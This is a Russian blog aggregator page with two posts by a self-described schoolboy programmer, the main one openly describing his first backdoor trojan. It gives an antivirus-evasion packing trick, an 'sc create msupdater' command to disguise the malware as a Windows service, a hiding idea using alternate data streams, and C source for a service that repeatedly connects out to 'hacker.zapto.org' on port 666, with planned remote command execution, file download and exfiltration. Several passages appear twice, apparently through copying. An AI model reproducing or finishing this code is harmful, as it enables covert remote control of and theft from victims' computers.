Какой рейтинг вас больше интересует?
|
Главная /
Каталог блоговCтраница блогера Dreigan/Записи в блоге |
Dreigan
Голосов: 1 Адрес блога: http://school-programmer.blogspot.com/ Добавлен: 2012-09-08 22:59:43 |
|
Мой первый зверек
2012-09-08 20:59:00 (читать в оригинале)Я всегда делаю несколько дел одновременно, и в данный момент одно из них - мой первый бекдорчик. Он еще не закончен, есть только идея и каркас, которыми я с вами и поделюсь. Принцип такой: есть прекрасная програмка Bat To Exe Converter (гугл находит без проблем). И она позволяет сделать из батника exe, да еще и впихнуть в него пару других, файлов, которые будут потом извлечены. Т.к. этот функционал вполне безобиден, антивирусники на сие чудо не гавкают. И отлично - решил я и потер руки. Ни для кого не секрет, что службы не видно в автозапуске и в диспечере процессов, что очень удобно для злобных вирусов. Впихнуть же службу в windows позволяет стандартная программка все той же ОС, и имя ей sc. Запускаем ее так:
И все готово. Склеиваем батник с нашим детищем и вуаля - скрытие процесса без гемороя с руткитами по силам даже школьнику. Еще один вариант: пишем вмето батника программу, запускающую тот же sc и извлекающую из своих ресурсов вирус, после чего запихиваем вирус ей в альтернативный файловый поток. (Прочитать что такое файловый поток и скачать прогу для работы с ними можно тут)
Вирус мы замаскировали, осталось его написать, чем я, собственно, и занят. Вот уже написаный код:
В общем пока что трой успешно запускается и соединяется с клиентом, но после соединения ничего не делает. По плану он должен выполнять принятые команды в system() и отправлять ответ (своеобразный telnet). Плюс если команда начинается к примеру на "/wget", скачать указанный файл, а если на "/post", отправить его вам. Согласитесь, для удобного удаленного управления в telnet этого функционала сильно недостает.
Пока все, всем удачи)
sc create msupdater binPath= %Windir%\System32\msupdater.exe start= auto
И все готово. Склеиваем батник с нашим детищем и вуаля - скрытие процесса без гемороя с руткитами по силам даже школьнику. Еще один вариант: пишем вмето батника программу, запускающую тот же sc и извлекающую из своих ресурсов вирус, после чего запихиваем вирус ей в альтернативный файловый поток. (Прочитать что такое файловый поток и скачать прогу для работы с ними можно тут)
Вирус мы замаскировали, осталось его написать, чем я, собственно, и занят. Вот уже написаный код:
#include <winsock2.h>Пояснения:
#define SLEEP_TIME 5000
#define PORT 666
#define SERVERADDR "hacker.zapto.org"
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ControlHandler(DWORD request)
{
switch(request)
{
case SERVICE_CONTROL_STOP: //OnStop
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN: //OnShutdown
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
default:
break;
}
// Report current status
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
int InitService() //OnInit
{
//init
return(0);
}
void ServiceMain(int argc, char** argv)
{
int error;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("MemoryStatus",(LPHANDLER_FUNCTION)ControlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0)
{
// Registering Control Handler failed
return;
}
// Initialize Service
error = InitService();
if (error != 0)
{
// Initialization failed
ServiceStatus.dwCurrentState =
SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
// We report the running status to SCM.
ServiceStatus.dwCurrentState =
SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
MEMORYSTATUS memory;
// The worker loop of a service
while (ServiceStatus.dwCurrentState ==SERVICE_RUNNING) //MainLoop
{
//work
try {
WSADATA WSAData;
SOCKET sock,acp;
int cercont,sockID,Bnd;
sockaddr_in to;
cercont=(WSAStartup(0x0202,&WSAData));
to.sin_family= AF_INET;
to.sin_port= htons(PORT);
if (inet_addr(SERVERADDR)!=INADDR_NONE)
{
to.sin_addr.s_addr = inet_addr(SERVERADDR);
} else {
HOSTENT *hst;
hst=gethostbyname(SERVERADDR);
to.sin_addr.s_addr = inet_addr(hst->h_addr_list[0]);
}
sock=socket(AF_INET,SOCK_STREAM,0);
connect(sock,(struct sockaddr*)&to,sizeof(to));
}
catch(int i) {}
Sleep(SLEEP_TIME);
}
return;
}int main(){FreeConsole();SERVICE_TABLE_ENTRY ServiceTable[2];ServiceTable[0].lpServiceName = "MemoryStatus";ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;ServiceTable[1].lpServiceName = NULL;ServiceTable[1].lpServiceProc = NULL;// Start the control dispatcher thread for our service
StartServiceCtrlDispatcher(ServiceTable);
}
- это не обычная программа, а служба, вот почему исходный код такой стремный)
- hacker.zapto.org - это наш ip. (Сервис zapto.org позволяет для своего динамического ip получить постоянное dns имя, что удобно для троянца)
- SLEEP_TIME - длина паузы в милисикундах (пауза нужна в цикле чтоб он не жрал все ресурсы процессора)
- PORT - порт на вашем компе, который будет принимать соединение
- InitService() - выполнится при старте службы
- case SERVICE_CONTROL_STOP - при остановке службы (нельзя удалять код, который уже здесь есть!!!)
- while (ServiceStatus.dwCurrentState ==SERVICE_RUNNING) - основной цикл службы
В общем пока что трой успешно запускается и соединяется с клиентом, но после соединения ничего не делает. По плану он должен выполнять принятые команды в system() и отправлять ответ (своеобразный telnet). Плюс если команда начинается к примеру на "/wget", скачать указанный файл, а если на "/post", отправить его вам. Согласитесь, для удобного удаленного управления в telnet этого функционала сильно недостает.
Пока все, всем удачи)
Вступление
2012-09-08 19:30:00 (читать в оригинале)Приветствую вас на этом блоге. Прежде всего разберемся с названием: да, я школьник. И в некотором роде программист. Конечно же, до настоящего программиста мне далеко, да и до студента недотягиваю. Но тем не менее я учусь этому делу и у меня даже немного получается). Почему я обращаю внимание на то, что я школьник? Потому что меня откровенно говоря достало, что в интернете, куда не плюнь, хулять школоту. А что она по большому счету сделала? Скажу вам по секрету: не все дураки в школе учатся... да-да. Более того, эти школоненависники зачастую тупее и неадекватнее тех-таки несчастных учеников. Так что названием своего блога я хочу выразить свой резкий протест данному явлению современного социума (специально так загнул xD). И так, идем дальше: что в этом блоге будет:
P.S.
Сразу прошу прощения за свое несовершенное знание русского языка т. к. учусь не на русcком.
- мои эксперименты с программированием, исходники, советы
- полезные программы и идеи
- по возможности буду помогать другим самоучкам (или не самоучкам)
- просто треп :-)
P.S.
Сразу прошу прощения за свое несовершенное знание русского языка т. к. учусь не на русcком.
Категория «Картинки»
Взлеты Топ 5
+2036 |
2053 |
Ищешь oldMike? - Это ЗдесЪ! |
+1994 |
2064 |
Splash_Phantom |
+1961 |
2094 |
ДеВаЧкА-НеФоРмАлКа |
+1948 |
2106 |
ROMAHA.SU |
+1947 |
2080 |
Yurenzo |
Падения Топ 5
-1 |
1366 |
Выдающиеся женщины |
-8 |
543 |
absit_omen |
-8 |
18 |
anmak |
-9 |
17 |
ВАДОС |
-10 |
10 |
Всё о Заработке в Интернет, а так же Интернет Новости |
Популярные за сутки
Загрузка...
BlogRider.ru не имеет отношения к публикуемым в записях блогов материалам. Все записи
взяты из открытых общедоступных источников и являются собственностью их авторов.
взяты из открытых общедоступных источников и являются собственностью их авторов.